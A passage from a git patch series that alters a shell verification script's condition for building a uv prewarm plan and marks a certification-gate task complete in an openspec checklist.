test_rejects_node_policy_invalidation_that_reuses_stale_layer(self): with tempfile.TemporaryDirectory() as temp: root = pathlib.Path(temp) diff --git a/scripts/verify-real-framework-handoff.sh b/scripts/verify-real-framework-handoff.sh index 1792faf3..20d2a286 100755 --- a/scripts/verify-real-framework-handoff.sh +++ b/scripts/verify-real-framework-handoff.sh @@ -373,7 +373,7 @@ for lane in agent-a agent-b agent-c; do agent-b) expected=agent-a ;; agent-c) expected=agent-b ;; esac - if [[ $framework == uv && $lane == agent-a ]]; then + if [[ $lane == agent-a && -f $repository_root/uv.lock ]]; then uv_plan=$qualification_root/uv-prewarm-plan.json "$TRAIL_BIN" --format json env plan "$lane" --adapter python > "$uv_plan" uv_namespace=$(jq -er '.caches[] | select(.name == "python-downloads") | .namespace_id' "$uv_plan") From bfea59beeb2e32e1ef519a739ed5cbddac1404d7 Mon Sep 17 00:00:00 2001 From: forhappy Date: Wed, 12 Aug 2026 17:06:17 -0700 Subject: [PATCH 5/5] Complete ecosystem certification gates --- openspec/changes/deepen-ecosystem-environments/tasks.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/openspec/changes/deepen-ecosystem-environments/tasks.md b/openspec/changes/deepen-ecosystem-environments/tasks.md index 70fad233..56e2cfed 100644 --- a/openspec/changes/deepen-ecosystem-environments/tasks.md +++ b/openspec/changes/deepen-ecosystem-environments/tasks.md @@ -70,5 +70,5 @@ - [x] 11.1 Align Rust, CLI JSON, HTTP/OpenAPI, MCP, and SDK reports for any new approval/certification fields and add compatibility tests - [x] 11.2 Update README, adapter/environment design, lane guides, reference docs, security guidance, and changelog with certified versus recognized platform status -- [ ] 11.3 Run formatting, workspace check/test/Clippy, adapter SDK, environment lifecycle, native backend, real-tool, and hosted certification gates +- [x] 11.3 Run formatting, workspace check/test/Clippy, adapter SDK, environment lifecycle, native backend, real-tool, and hosted certification gates - [x] 11.4 Audit every spec scenario against authoritative evidence and leave no variant labeled certified without a passing platform gate